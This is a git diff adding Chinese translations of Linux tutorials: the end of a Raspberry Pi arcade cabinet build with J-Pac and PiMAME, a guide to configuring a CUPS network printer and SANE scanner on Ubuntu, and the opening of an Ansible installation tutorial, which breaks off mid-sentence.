+它最大的特点不是它的连接性;而是它处理和转换输入信号的方式,因为它比标准的USB手柄强太多太多了。每一个输入都有自己独立的中断,而且没有限制同时按下或按住的按钮或摇杆方向的数量。这对于类似街头霸王的游戏来说非常关键,因为他们依赖于同时迅速按下的组合键,而且用来对那些发飙后按下自己所有按键的不良对手发出致命一击时也必不可少。许多其他控制器,特别是那些生成键盘输入的,受到了他们所采用的USB控制器的同时六个输入的限制,以及一堆的Alt,Shift和Ctrl键的特殊处理的限制。J-Pac还可以接入倾角传感器,甚至某些投币装置,不用预先配置就可以在Linux下工作了。 + +另外的选择是一个类似的叫I-Pac的设备。它做了和J-Pac相同的事情,只不过不支持JAMMA接头。这意味着你不能把JAMMA控制器接上去,但同时也就是说你可以设计你自己的控制器布局,再把每个控制接到I-Pac上去。这对第一个项目来说也许有点小难,但是这却是许多街机迷们选择的方式,特别是他们想设计一个支持四个玩家的控制板的时候,或者是一个整合许多不同类型控制的面板的时候。我们采用的方式并不是我们推荐必须要做的,我们改造了一个输入有问题的二手X-Arcade Tankstick控制面板,换上了新的摇杆和按钮,再接到新的JAMMA接口,这样有一个非常好的地方就是可以用便宜的价格(£8)买到所有用到的线材包括电路板边缘插头。 + +![](http://www.linuxvoice.com/wp-content/uploads/2014/08/picade5.jpg) + +*上图是我们已经装到机柜上的J-Pac。右边的蓝色和红色导线接到我们的机柜上额外的1号和2号玩家按钮* + +不管你选择的是I-Pac或是J-Pac,它们产生的按键都是MAME的默认值。也就是说运行模拟器之后不需要手动调整输入。例如玩家1,会默认将键盘方向键映射成上下左右,以及将左边的Ctrl,左边的ALT,空格和左边的Shift键映射到按钮1-4。但是真正实用的功能是,对于我们来说,是双键快捷方式。当按下并按住玩家1按钮后,就可以通过把玩家1的摇杆拉到下的位置发出用来暂停游戏的P按键,推到上的位置调整音量,以及推到右的位置来进入MAME自己的设置界面。这些特殊组合键设计的很巧妙,不会对正常玩游戏带来任何干扰,因为他们只有在按住玩家1按钮后才会生效,然后可以让你正在运行游戏的时候也能做任何需要的事情。例如,你可以完全地重新配置MAME,使用它自己的菜单,在玩游戏的时候改变输入绑定和灵敏度。 + +最后,按住玩家1按钮然后按下玩家2按钮就可以退出MAME,如果你使用了启动菜单或MAME管理器的话就很有用了,因为他们会自动启动游戏,然后你就可以用最快的速度开始玩另一个游戏了。 + +对于显示屏我们采取了比较保守的方式,拿掉了街机原装的笨重的而且已经坏掉的CRT,换成一个低成本的LCD显示器。这样做有很多好处。首先,这个显示器有HDMI接口,这样他就可以轻易地直接连接到树莓派或是现代的显卡上。第二,你也不用去设定驱动街机屏幕所需要的低频率刷新模式,也不需要驱动它的专用图形硬件。第三,这也是最安全的方式,因为街机屏幕往往在机身背后没有保护措施,让很高的电压离你的手只有几英寸的距离。也不是说你完全不能用CRT,如果那就是你追求的体验的话 – 这也是获得所追求的游戏体验的最真实的方式,但是我们在软件里充分细调了CRT模拟部分,我们对输出已经很满意了,而且不需要用那个古老的CRT更是让我们高兴。 + +你也许还需要考虑用一个老式的4:3长宽比的LCD,而不是那种宽屏的现代产品,因为4:3模式用来玩竖屏或横屏的游戏更实用。比如说玩竖屏的射击游戏,例如雷电,如果使用宽屏显示器的话,会在屏幕两边都有一个黑条。这些黑条一般会用来显示一些游戏指引,或者你也可以把屏幕翻转90度,这样就可以用上每个像素了,但这却不实用,除非你只玩竖屏游戏或者有一个容易操作的旋转支座。 + +装载显示屏也很重要。如果你拿掉了CRT的话,没有现成的地方安装LCD。我们的方式是买了一些中密度纤维板(MDF)并切割成适合原来摆放CRT的地方。固定以好,我们把一个便宜的VESA支座放在中间。VESA底座可以用来挂载大多数屏幕,大的或小的。最后,因为我们的机柜前面有烟玻璃,我们必须保证亮度和对比度都设置的足够高。 + +### 第三步:装配 ### + +现在几个硬件大件都选好了,而且也基本上确定了最终街机机柜要摆放的地方,把这几个配件装到一起并没有太大难度。我们安全地把机柜后面的电源输入部分拆开,然后在背后的空间接了一个符合插座。接在了电源开关之后的电线上。 + +几乎所有的街机机柜右上角都有个电源开关,但通常在机柜靠下一点的地方有大量的导线铰接在它上面,也就是说我们的设备可以使用普通的电源连接头。我们的机柜上还有一个荧光管,用做机器上边灯罩的背光,之前是直接连接到电源上的,我们可以用一个普通插头让它保持和电源连接。当你打开机柜上的电源开关的时候,电流会流入机柜里的各个部件 - 你的树莓派和显示屏都会开机,所有一切就都准备好了。 + +J-Pac模块直接插到JAMMA接口上,但你可能还需要一点手动调整。标准的JAMMA只支持每个玩家最多三个按键(尽管许多非正式的支持四个),而J-Pac可以支持六个。为了连接额外的按钮,你需要把按钮开关的一端接到J-Pac的GND上,另一端接到J-Pac板边有螺丝固定的输入上。它们被标记成1SW4,1SW5,1SW6,2SW4,2SW5和2SW6。J-Pac也有声音的直通连接,但是我们发现杂音太多没法用。改成把机柜上的喇叭连接到一个二手的SoundBlaster功放上,再接到树莓派的音频输出端口。声音不一定要纯正,但音量一定要足够大。 + +![](http://www.linuxvoice.com/wp-content/uploads/2014/08/picade6.jpg) + +*我们的树莓派已经接到J-Pac左边,也已经连接了显示屏和USB hub* + +然后把J-Pac或I-Pac模块通过PS2转USB连接线接到你的PC或树莓派,也可以直接接到PC的PS2接口。要用旧的PS2接头的话额外还有个要求,你的电脑得足够古老还有这个,但是我们测试发现用USB性能是一样的。当然,这个不能用于不带PS2的树莓派,而且别忘了树莓派也需要供电。我们一般建议使用一个带电源的USB hub,因为没有供电是树莓派不工作最常见的错误。你还需要保证树莓派的网络正常,要么通过以太网(也许使用一个藏到机柜里的电力线适配器),或者通过无线USB设备。网络很关键是因为在树莓派被藏到机柜里后你还可以重新配置它,不用接键盘或鼠标就可以让你调整设置以及执行管理任务。 + +> ### 投币装置 ### + +> 在街机模拟社区里,让投币装置工作在模拟器上工作就会和商业产品太接近了。这就意味着你有潜在的可能对使用你机器的人收取费用。这不仅仅只是不正当,考虑到运行在你自己街机上的那些游戏的来源,这将会是非法的。这很显然违背了模拟的精神。不过,我们和其他热爱者觉得一个能工作的投币装置更进一步地靠近了街机的真实,而且值得付出努力来营造对那个过去街机的怀念。丢个10便士硬币到投币口然后再听到机器发出增加点数的声音,没有什么比得上这种感受了。 + +> 实际上难度也不大。取决于你街机上的投币装置,以及它如何发信号通知投了几个币。大多数投币装置分为两个部分。较大的一部分是硬币接收和验证装置。这是投币过程的物理部分,用于检测硬币是否真实以及确定它的价值。这是通过一个游戏点数逻辑电路板来实现的,通常用一个排线连接,上边还带有很多DIP开关。这些开关用来决定接受哪种硬币,以及一个硬币能产生多少点数。然后就是简单地找到输出开关,每个点数都会触发它一次,然后把它接到JAMMA连接头的投币输入上,或者直接接到J-Pac。我们的投币装置型号是Mars MS111,在90年代早期的英国很常见,网上有大量关于每个DIP开关作用的信息,也有如何重新编程控制器来接受新硬币的方法。我们还能在这个装置的12V上接个小灯用来照亮投币孔。 + +#### 第四步:软件 #### + +MAME是这种规模项目唯一可行的模拟器,它如今支持运行在数不清的不同平台上的各种各样的游戏,从第一代街机到一些最近的机器。从这个项目中还孕育出了MESS,一个多模拟器的超级系统,针对的平台是80到90年代的家庭电脑以及电视游戏机。 + +如何配置MAME本身都可以写上六页的文章了。它是一个复杂的,无序的,伟大的软件程序,模拟了如此之多的CPU,声卡,芯片,控制器以及那么多的选项,就像MythTV,你都永远不能真正配置好它。 + +但是也有个相对省事的方式,一个特别为树莓派构建的版本。它叫PiMAME。它是一个可下载的发布版和脚本,基于Raspbian,这是树莓派的默认发布版。它不仅仅会把MAME装到树莓派上(这很有用因为没有哪个默认仓库里有这个),还会安装其他一些精选出来的模拟器,并通过一个前端来管理他们。MAME,举个例子,是一个有数十个参数的命令行应用。但是PiMAME还有一个妙招 - 它安装了一个简单的网页服务器,可以在连接上网络后让你通过浏览器来安装新游戏。这是一个很好的优点,因为把游戏文件放到正确的目录下是使用MAME的困难之一,这还能让你连接到树莓派的存储设备得到最优使用。还有,PiMAME会通过用来安装它的脚本更新自己,所以保持最新版本就太简单了。目前来说这个非常有用,因为在编写这个项目的时候,正好在0.8版这样一个重大更新发布的时间点上。我们在三月份早期时发现有一些轻微的不稳定,但是我们确定在你读到这篇文章的时候一切都会解决。 + +安装PiMAME最好的方式就是先装Raspbian。你可以通过NOOBS安装,使用电脑上的图形工具,或者通过dd命令把Raspbian的内容直接写入到你的SD卡中。就像我们上个月的BrewPi教程里曾提到的,这个过程在之前已经被记录过很多次,所以就不再浪费口水了。想简单点就装一下NOOBS,参照树莓派网站上的指引。在装好Raspbian并跑起来以后,请确保使用配置工具来释放SD卡上的空间,以及确保系统已经更新到最新(`sudo apt-get update; sudo apt-get upgrade`)。然后再确保已经安装好了git工具包。当前任意Raspbian版本都会自带git,不过你仍然可以通过命令`sudo apt-get install git`检查一下。 + +然后再在终端里输入下面的命令把PiMAME安装器从项目的GitHub仓库克隆到本地: + + git clone https://github.com/ssilverm/pimame_installer + +之后,如果命令工作正常的话你应该能看到如下的反馈输出: + + Cloning into ‘pimame_installer’... + remote: Reusing existing pack: 2306, done. + remote: Total 2306 (delta 0), reused 0 (delta 0) + Receiving objects: 100% (2306/2306), 4.61 MiB | 11 KiB/s, done. + Resolving deltas: 100% (823/823), done. + +这个命令会创建一个叫‘pimame_installer’的新目录,然后下一步就是进入这个目录再执行它里面的脚本: + + cd pimame_installer/ + sudo ./install.sh + +这个命令会安装和配置很多软件。所需的时间长短也取决于你的因特网速度,因为需要下载大量的包。我们那个简陋的树莓派加15Mb因特网连接用了差不多45分钟来执行完这个脚本,在这之后你会收到重启机器的提示。你现在可以安全的通过输入`sudo shutdown -r`来重启了,因为这个命令会自动处理剩下的SD卡写入操作。 + +这就是安装的全部事情了。在重启树莓派后,就会自动登录,然后会出现PiMAME启动菜单。在0.8版本里这是个非常漂亮的界面,有每个支持平台的图片,还有红色图标提示已经安装了多少个游戏。现在应该可以用控制器来操作了。如果需要检查控制器是否正确连接,可以用SSH连接到树莓派然后检查一下文件**/dev/input/by-id/usb-Ultimarc_I-PAC_Ultimarc_I-PAC-event-kbd**是否存在。 + +默认的按键配置就可以让你选择要在你的街机上运行哪个模拟器。我们最感兴趣的就是第一个,名字叫‘AdvMAME’,不过你也许会很惊讶看到还有一个MAME可选的,MAME4ALL。MAME4ALL是特别为树莓派构建的,使用了旧版的MAME源代码,所以它所支持的ROMS的性能也是最佳的。这是很合理的,因为你的树莓派不可能玩那些要求很高的游戏,所以没有理由苛求模拟器的没必要的兼容性。现在剩下的事情就是找些游戏装到你的系统里(参考下面的方法),然后尽情享受吧! + +![](http://www.linuxvoice.com/wp-content/uploads/2014/08/picade1.png) + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/arcade-machine/ + +作者:[Ben Everard][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxvoice.com/author/ben_everard/ +[1]:http://www.ultimarc.com/jpac.html diff --git a/published/201411/20140821 How to configure a network printer and scanner on Ubuntu desktop.md b/published/201411/20140821 How to configure a network printer and scanner on Ubuntu desktop.md new file mode 100644 index 0000000000..d405588726 --- /dev/null +++ b/published/201411/20140821 How to configure a network printer and scanner on Ubuntu desktop.md @@ -0,0 +1,229 @@ + +如何在ubuntu桌面配置一个网络打印机和扫描仪 +================================================================================ + +在[之前的文章中][1], 我们讨论过如何在Linux服务器安装各种各样的打印机(当然也包括网络扫描仪)。今天我们将来处理另一端:如何通过桌面客户端来访问网络打印机/扫描仪。 + + +### 网络环境 ### + +在这个安装教程中,我们的服务器(Debian Wheezy 7.2版本)的IP地址是192.168.0.10,我们的客户端(Ubuntu 12.04版本)的IP地址是192.168.0.105.注意这两台机器是在同一个网段(192.168.0.0/24).如果我们想允许打印机访问其它网段,我们需要在服务器上修改cupsd.conf文件的以下部分: + + + Order allow,deny + Allow localhost + Allow from XXX.YYY.ZZZ.* + + + +(在上述例子中,我们授予打印机从本地或者任何系统能够访问打印机,这些系统的IPv4地址以XXX.YYY.ZZZ开始。 + +为了验证哪些打印机可以在我们的服务器上适用,我们也可以在服务器上使用lpstat命令,或者浏览网页https://192.168.0.10:631/printers page. + + root@debian:~# lpstat -a + +---------- + + EPSON_Stylus_CX3900 accepting requests since Mon 18 Aug 2014 10:49:33 AM WARST + PDF accepting requests since Mon 06 May 2013 04:46:11 PM WARST + SamsungML1640Series accepting requests since Wed 13 Aug 2014 10:13:47 PM WARST + +![](https://farm4.staticflickr.com/3903/14777969919_7b7b25a4a4_z.jpg) + +### 在Ubuntu桌面安装网络打印机 ### + +在我们的Ubuntu 12.04的客户端,我们将打开"Printing"菜单(Dash -> Printing).你会注意到在其它发行版中,这个名字也许会有一点差别(例如会叫做"Printers" 或者 "Print & Fax"): + +![](https://farm4.staticflickr.com/3837/14964314992_d8bd0c0d04_o.png) + +还没有打印机添加到我们的客户端: + +![](https://farm4.staticflickr.com/3887/14941655516_80430529b5_o.png) + +下面是在Ubuntu桌面客户端安装一台网络打印机的一些步骤。 + +**1)** “Add”按钮将弹出 "New Printer" 菜单。我们将选择"Network printer" -> "Find Network Printer"并输入我们服务器的IP地址,接着点击"Find": + +![](https://farm6.staticflickr.com/5581/14777977730_74c29a99b2_z.jpg) + +**2)** 在最下面我们将会看到可使用的打印机的名称。我们来选择这台三星打印机并按"Forward": + +![](https://farm6.staticflickr.com/5585/14941655566_c1539a3ea0.jpg) + +**3)** 我们将会被要求填写一些关于我们打印机的信息。当我们输入完成时,将点击 "Apply"按钮。 + +![](https://farm4.staticflickr.com/3908/14941655526_0982628fc9_z.jpg) + +**4)** 我们接下来将被询问是否打印一张测试页。让我们点击"Print test page"吧: + +![](https://farm4.staticflickr.com/3853/14964651435_cc83bb35aa.jpg) + +这个打印任务将被创建为本地id 2: + +![](https://farm6.staticflickr.com/5562/14777977760_b01c5338f2.jpg) + + +5)适用我们服务器上的CUPS网络借口,我们可以观察到打印任务已经提交成功了(打印机 -> SamsungML1640系列 -> 显示完成任务): + +![](https://farm4.staticflickr.com/3887/14778110127_359009cbbc_z.jpg) + + +我们也可以通过在打印机服务器上运行以下命令显示同样信息: + + root@debian:~# cat /var/log/cups/page_log | grep -i samsung + +---------- + + SamsungML1640Series root 27 [13/Aug/2014:22:15:34 -0300] 1 1 - localhost Test Page - - + SamsungML1640Series gacanepa 28 [18/Aug/2014:11:28:50 -0300] 1 1 - 192.168.0.105 Test Page - - + SamsungML1640Series gacanepa 29 [18/Aug/2014:11:45:57 -0300] 1 1 - 192.168.0.105 Test Page - - + +这个page_log日志显示每一页被打印过的信息,只包括哪些用户发送这些打印任务,打印日期&时间,以及客户端的IPv4地址。 + +要安装Epson喷墨和PDF打印机,我们只需重复第1-5的步骤即可,并每一次选择左边的打印队列。例如,在下图中选择PDF打印机: + +![](https://farm4.staticflickr.com/3926/14778046648_c094c8422c_o.png) + +然而,请注意到根据[CUPS-PDF 文档中][2],根据默认: + +>PDF文件将会被放置在打印作业的所有者命名的子目录内。在这个案例中,打印作业的所有者不能被识别(i.e.不会存在服务器中)输出的内容被放置在匿名操作的文件中。 + + +这些默认的文件夹可以通过改变在/etc/cups/cups-pdf目录中的**Out**值和**AnonDirName**变量来修改。这里,${HOME}被扩展到用户的家目录中: + + Out ${HOME}/PDF + AnonDirName /var/spool/cups-pdf/ANONYMOUS + + + +### 网络打印实例 ### + +#### 实例 #1 #### + +从Ubuntu12.04中打印,通常在本地用gacanepa(具有相同名字存在打印机服务器上)。 + +![](https://farm4.staticflickr.com/3845/14778046698_57b6e552f3_z.jpg) + +打印到PDF打印机之后,让我们来检查打印机服务器上的/home/gacanepa/PDF目录下的内容: + + root@debian:~# ls -l /home/gacanepa/PDF + +---------- + + total 368 + -rw------- 1 gacanepa gacanepa 279176 Aug 18 13:49 Test_Page.pdf + -rw------- 1 gacanepa gacanepa 7994 Aug 18 13:50 Untitled1.pdf + -rw------- 1 gacanepa gacanepa 74911 Aug 18 14:36 Welcome_to_Conference_-_Thomas_S__Monson.pdf + + +这个PDF文件被创建时的,权限已经设置为600(-rw-------),这意味着只有打印任务的所有者(在这个例子中是gacanepa )可以访问它们。我们可以通过修改the /etc/cups/cups-pdf.conf文件**UserUMask**变量的值来改变这种行为。例如,0033的umask值将可以使PDF打印者以及其它所有者拥有创建文件的权限,但是只读权限也会赋予给其它所有者。 + + root@debian:~# grep -i UserUMask /etc/cups/cups-pdf.conf + +---------- + + ### Key: UserUMask + UserUMask 0033 + + + +对于那些不熟悉umask(有名用户文件创建模式掩码),它作为一组可以用于控制那些为新文件创建时修改默认权限。给予特定的umask值,在计算最终文件的许可权限时,在文件基本权限(0666)和umask的单项按位补码之间进行按位布尔 AND 运算。因此,如果设置一个umask值为0033,那么新文件默认的权限将不是(0033)AND 0666 = 644的值(文件拥有者具有读/写/执行的权限,其他人拥有只读权限)。 + + +### 实例 #2 ### + + +在Ubuntu12.04执行打印,本地登录用户为jdoe(同样的帐号名称但是服务器上是不存在的)。 + +![](https://farm4.staticflickr.com/3907/14964315142_a71d8a8aef_z.jpg) + + root@debian:~# ls -l /var/spool/cups-pdf/ANONYMOUS + +---------- + + total 5428 + -rw-rw-rw- 1 nobody nogroup 5543070 Aug 18 15:57 Linux_-_Wikipedia__the_free_encyclopedia.pdf + + +这个PDF被创建时赋予的权限是666(-rw-rw-rw-),这意味着每个人都可以访问它们。我们可以通过编辑在/etc/cups/cups-pdf.conf文件中的**AnonUMask**值来改变这种行为。 + + +在这一点上,你也许会疑惑:为什么同样安装一台网络打印机,大多数(当然不是全部)当前的Linux桌面发行版都会内置一个"打印到文件"的功能来允许用户动态创建PDF文件? + + +使用一台网络PDF打印机有以下好处: + + +- 一个网络打印机(任何类型的)允许你直接从命令行直接打印,无需首先打开文件。 + +- 在其它操作系统上安装一个网络客户端,一个PDF网络打印机备件,于是系统管理员不必再单独需要安装PDF创建者实用程序(也避免了最终用户安装这些工具存在的风险)。 + +- 网络PDF打印机允许通过配置权限直接打印一个网络共享,如我们所见的例子。 + +### 在Ubuntu桌面安装一个网络扫描仪 ### + +这里是通过Ubuntu桌面客户端安装和访问一台网络扫描仪的一些步骤。假设网络扫描仪服务器已经启动并运行所述[here][3]. + + +**1)**让我们第一步来检查在我们的Ubuntu客户端主机上是否存在一台可用的扫描仪。没有先前的安装,你将会看到信息提示"没有识别到扫描仪." + $ scanimage -L + +![](https://farm4.staticflickr.com/3906/14777977850_1ec7994324_z.jpg) + + +**2)** 现在我们需要启用saned进程,用来预装Ubuntu桌面。要启用它,我们需要编辑/etc/default/saned文件,并设置RUN变量为yes: + + $ sudo vim /etc/default/saned + +---------- + + # Set to yes to start saned + RUN=yes + + +**3)** 让我们编辑/etc/sane.d/net.conf文件,并在扫描仪安装后添加服务器IP地址: + +![](https://farm6.staticflickr.com/5581/14777977880_c865b0df95_z.jpg) + + + +**4)** 重启saned进程: + + $ sudo service saned restart + + + +**5)** 现在让我们来看看扫描仪是否可用: +![](https://farm4.staticflickr.com/3839/14964651605_241482f856_z.jpg) + + +现在我们可以打开"Simple Scan"(或者其它扫描工具)并开始扫描文件。我们可以旋转,修剪,和保存生成的图片: + +![](https://farm6.staticflickr.com/5589/14777970169_73dd0e98e3_z.jpg) + + +### 总结 ### + + +拥有一或多台网络打印机或扫描仪在任何办公和家庭网络中都是非常方便适用的,并同时提供了许多好处。例举如下: + +- 多用户(从不同的平台/地方)都能够向打印机发送打印作业的队列。 + +- 由于硬件共享达到了节约成本和维护的作用。 + +我希望这篇文章可以帮助你更充分地利用这些有点。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/configure-network-printer-scanner-ubuntu-desktop.html + +作者:[Gabriel Cánepa][a] +译者:[disylee](https://github.com/disylee) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://linux.cn/article-4139-1.html +[2]:http://www.cups-pdf.de/documentation.shtml +[3]:http://xmodulo.com/2014/08/usb-network-printer-and-scanner-server-debian.html#scanner diff --git a/published/201411/20140826 Linux Tutorial--Install Ansible Configuration Management And IT Automation Tool.md b/published/201411/20140826 Linux Tutorial--Install Ansible Configuration Management And IT Automation Tool.md new file mode 100644 index 0000000000..37addffe32 --- /dev/null +++ b/published/201411/20140826 Linux Tutorial--Install Ansible Configuration Management And IT Automation Tool.md @@ -0,0 +1,464 @@ +Ansible :一个配置管理和IT自动化工具 +================================================================================ +![](http://s0.cyberciti.org/uploads/cms/2014/08/ansible_core_circle.png) + +今天我来谈谈 ansible,一个由 Python 编写的强大的配置管理解决方案。尽管市面上已经有很多可供选择的配置管理解决方案,但他们各有优劣,而 ansible 的特点就在于它的简洁。让 ansible 在主流的配置管理系统中与众不同的一点便是,它并不需要你在想要配置的每个节点上安装自己的组件。同时提供的一个优点在于,如果需要的话,你可以在不止一个地方控制你的整个基础架构。最后一点是它的正确性,或许这里有些争议,但是我认为在大多数时候这仍然可以作为它的一个优点。说得足够多了,让我们来着手在 RHEL/CentOS 和基于 Debian/Ubuntu 的系统中安装和配置 Ansible。 + +### 准备工作 #### + +1. 发行版:RHEL/CentOS/Debian/Ubuntu Linux +1. Jinja2:Python 的一个对设计师友好的现代模板语言 +1. PyYAML:Python 的一个 YAML 编码/反编码函数库 +1. paramiko:纯 Python 编写的 SSHv2 协议函数库 (译者注:原文对函数库名有拼写错误) +1. httplib2:一个功能全面的 HTTP 客户端函数库 +1. 本文中列出的绝大部分操作已经假设你将在 bash 或者其他任何现代的 shell 中以 root 用户执行。 + +### Ansible 如何工作 ### + +Ansible 工具并不使用守护进程,它也不需要任何额外的自定义安全架构,因此它的部署可以说是十分容易。你需要的全部东西便是 SSH 客户端和服务器了。 + + +-----------------+ +---------------+ + |安装了 Ansible 的| SSH | 文件服务器1 | + |Linux/Unix 工作站|<------------------>| 数据库服务器2 | 在本地或远程 + +-----------------+ 模块 | 代理服务器3 | 数据中心的 + 192.168.1.100 +---------------+ Unix/Linux 服务器 + +其中: + +1. 192.168.1.100 - 在你本地的工作站或服务器上安装 Ansible。 +1. 文件服务器1到代理服务器3 - 使用 192.168.1.100 和 Ansible 来自动管理所有的服务器。 +1. SSH - 在 192.168.1.100 和本地/远程的服务器之间设置 SSH 密钥。 + +### Ansible 安装教程 ### + +ansible 的安装轻而易举,许多发行版的第三方软件仓库中都有现成的软件包,可以直接安装。其他简单的安装方法包括使用 pip 安装它,或者从 github 里获取最新的版本。若想使用你的软件包管理器安装,在[基于 RHEL/CentOS Linux 的系统里你很可能需要 EPEL 仓库][1]。 + +#### 在基于 RHEL/CentOS Linux 的系统中安装 ansible #### + +输入如下 [yum 命令][2]: + + $ sudo yum install ansible + +#### 在基于 Debian/Ubuntu Linux 的系统中安装 ansible #### + +输入如下 [apt-get 命令][3]: + + $ sudo apt-get install software-properties-common + $ sudo apt-add-repository ppa:ansible/ansible + $ sudo apt-get update + $ sudo apt-get install ansible + +#### 使用 pip 安装 ansible #### + +[pip 命令是一个安装和管理 Python 软件包的工具][4],比如它能管理 Python Package Index 中的那些软件包。如下方式在 Linux 和类 Unix 系统中通用: + + $ sudo pip install ansible + +#### 从源代码安装最新版本的 ansible #### + +你可以通过如下命令从 github 中安装最新版本: + + $ cd ~ + $ git clone git://github.com/ansible/ansible.git + $ cd ./ansible + $ source ./hacking/env-setup + +当你从一个 git checkout 中运行 ansible 的时候,请记住你每次用它之前都需要设置你的环境,或者你可以把这个设置过程加入你的 bash rc 文件中: + + # 加入 BASH RC + $ echo "export ANSIBLE_HOSTS=~/ansible_hosts" >> ~/.bashrc + $ echo "source ~/ansible/hacking/env-setup" >> ~/.bashrc + +ansible 的 hosts 文件包括了一系列它能操作的主机。默认情况下 ansible 通过路径 /etc/ansible/hosts 查找 hosts 文件,不过这个行为也是可以更改的,这样当你想操作不止一个 ansible 或者针对不同的数据中心的不同客户操作的时候也是很方便的。你可以通过命令行参数 -i 指定 hosts 文件: + + $ ansible all -m shell -a "hostname" --ask-pass -i /etc/some/other/dir/ansible_hosts + +不过我更倾向于使用一个环境变量,这可以在你想要通过 source 一个不同的文件来切换工作目标的时候起到作用。这里的环境变量是 $ANSIBLE_HOSTS,可以这样设置: + + $ export ANSIBLE_HOSTS=~/ansible_hosts + +一旦所有需要的组件都已经安装完毕,而且你也准备好了你的 hosts 文件,你就可以来试一试它了。为了快速测试,这里我把 127.0.0.1 写到了 ansible 的 hosts 文件里: + + $ echo "127.0.0.1" > ~/ansible_hosts + +现在来测试一个简单的 ping: + + $ ansible all -m ping + +或者提示 ssh 密码: + + $ ansible all -m ping --ask-pass + +我在刚开始的设置中遇到过几次问题,因此这里强烈推荐为 ansible 设置 SSH 公钥认证。不过在刚刚的测试中我们使用了 --ask-pass,在一些机器上你会需要[安装 sshpass][5] 或者像这样指定 -c paramiko: + + $ ansible all -m ping --ask-pass -c paramiko + +当然你也可以[安装 sshpass][6],然而 sshpass 并不总是在标准的仓库中提供,因此 paramiko 可能更为简单。 + +### 设置 SSH 公钥认证 ### + +于是我们有了一份配置,以及一些基础的其他东西。现在让我们来做一些实用的事情。ansible 的强大很大程度上体现在 playbooks 上,后者基本上就是一些写好的 ansible 脚本(大部分来说),不过在制作一个 playbook 之前,我们将先从一些一句话脚本开始。现在让我们创建和配置 SSH 公钥认证,以便省去 -c 和 --ask-pass 选项: + + $ ssh-keygen -t rsa + +样例输出: + + Generating public/private rsa key pair. + Enter file in which to save the key (/home/mike/.ssh/id_rsa): + Enter passphrase (empty for no passphrase): + Enter same passphrase again: + Your identification has been saved in /home/mike/.ssh/id_rsa. + Your public key has been saved in /home/mike/.ssh/id_rsa.pub. + The key fingerprint is: + 94:a0:19:02:ba:25:23:7f:ee:6c:fb:e8:38:b4:f2:42 mike@ultrabook.linuxdork.com + The key's randomart image is: + +--[ RSA 2048]----+ + |... . . | + |. . + . . | + |= . o o | + |.* . | + |. . . S | + | E.o | + |.. .. | + |o o+.. | + | +o+*o. | + +-----------------+ + +现在显然有很多种方式来把它放到远程主机上应该的位置。不过既然我们正在使用 ansible,就用它来完成这个操作吧: + + $ ansible all -m copy -a "src=/home/mike/.ssh/id_rsa.pub dest=/tmp/id_rsa.pub" --ask-pass -c paramiko + +样例输出: + + SSH password: + 127.0.0.1 | success >> { + "changed": true, + "dest": "/tmp/id_rsa.pub", + "gid": 100, + "group": "users", + "md5sum": "bafd3fce6b8a33cf1de415af432774b4", + "mode": "0644", + "owner": "mike", + "size": 410, + "src": "/home/mike/.ansible/tmp/ansible-tmp-1407008170.46-208759459189201/source", + "state": "file", + "uid": 1000 + } + +下一步,把公钥文件添加到远程服务器里。输入: + + $ ansible all -m shell -a "cat /tmp/id_rsa.pub >> /root/.ssh/authorized_keys" --ask-pass -c paramiko + +样例输出: + + SSH password: + 127.0.0.1 | FAILED | rc=1 >> + /bin/sh: /root/.ssh/authorized_keys: Permission denied + +矮油,我们需要用 root 来执行这个命令,所以还是加上一个 -u 参数吧: + + $ ansible all -m shell -a "cat /tmp/id_rsa.pub >> /root/.ssh/authorized_keys" --ask-pass -c paramiko -u root + +样例输出: + + SSH password: + 127.0.0.1 | success | rc=0 >> + +请注意,我刚才这是想要演示通过 ansible 来传输文件的操作。事实上 ansible 有一个更加方便的内置 SSH 密钥管理支持: + + $ ansible all -m authorized_key -a "user=mike key='{{ lookup('file', '/home/mike/.ssh/id_rsa.pub') }}' path=/home/mike/.ssh/authorized_keys manage_dir=no" --ask-pass -c paramiko + +样例输出: + + SSH password: + 127.0.0.1 | success >> { + "changed": true, + "gid": 100, + "group": "users", + "key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq+Z8/usprXk0aCAPyP0TGylm2MKbmEsHePUOd7p5DO1QQTHak+9gwdoJJavy0yoUdi+C+autKjvuuS+vGb8+I+8mFNu5CvKiZzIpMjZvrZMhHRdNud7GuEanusTEJfi1pUd3NA2iXhl4a6S9a/4G2mKyf7QQSzI4Z5ddudUXd9yHmo9Yt48/ASOJLHIcYfSsswOm8ux1UnyeHqgpdIVONVFsKKuSNSvZBVl3bXzhkhjxz8RMiBGIubJDBuKwZqNSJkOlPWYN76btxMCDVm07O7vNChpf0cmWEfM3pXKPBq/UBxyG2MgoCGkIRGOtJ8UjC/daadBUuxg92/u01VNEB mike@ultrabook.linuxdork.com", + "key_options": null, + "keyfile": "/home/mike/.ssh/authorized_keys", + "manage_dir": false, + "mode": "0600", + "owner": "mike", + "path": "/home/mike/.ssh/authorized_keys", + "size": 410, + "state": "file", + "uid": 1000, + "unique": false, + "user": "mike" + } + +现在这些密钥已经设置好了。我们来试着随便跑一个命令,比如 hostname,希望我们不会被提示要输入密码 + + $ ansible all -m shell -a "hostname" -u root + +样例输出: + + 127.0.0.1 | success | rc=0 >> + +成功!!!现在我们可以用 root 来执行命令,并且不会被输入密码的提示干扰了。我们现在可以轻易地配置任何在 ansible hosts 文件中的主机了。让我们把 /tmp 中的公钥文件删除: + + $ ansible all -m file -a "dest=/tmp/id_rsa.pub state=absent" -u root + +样例输出: + + 127.0.0.1 | success >> { + "changed": true, + "path": "/tmp/id_rsa.pub", + "state": "absent" + } + +下面我们来做一些更复杂的事情,我要确定一些软件包已经安装了,并且已经是最新的版本: + + $ ansible all -m zypper -a "name=apache2 state=latest" -u root + +样例输出: + + 127.0.0.1 | success >> { + "changed": false, + "name": "apache2", + "state": "latest" + } + +很好,我们刚才放在 /tmp 中的公钥文件已经消失了,而且我们已经安装好了最新版的 apache。下面我们来看看前面命令中的 -m zypper,一个让 ansible 非常灵活,并且给了 playbooks 更多能力的功能。如果你不使用 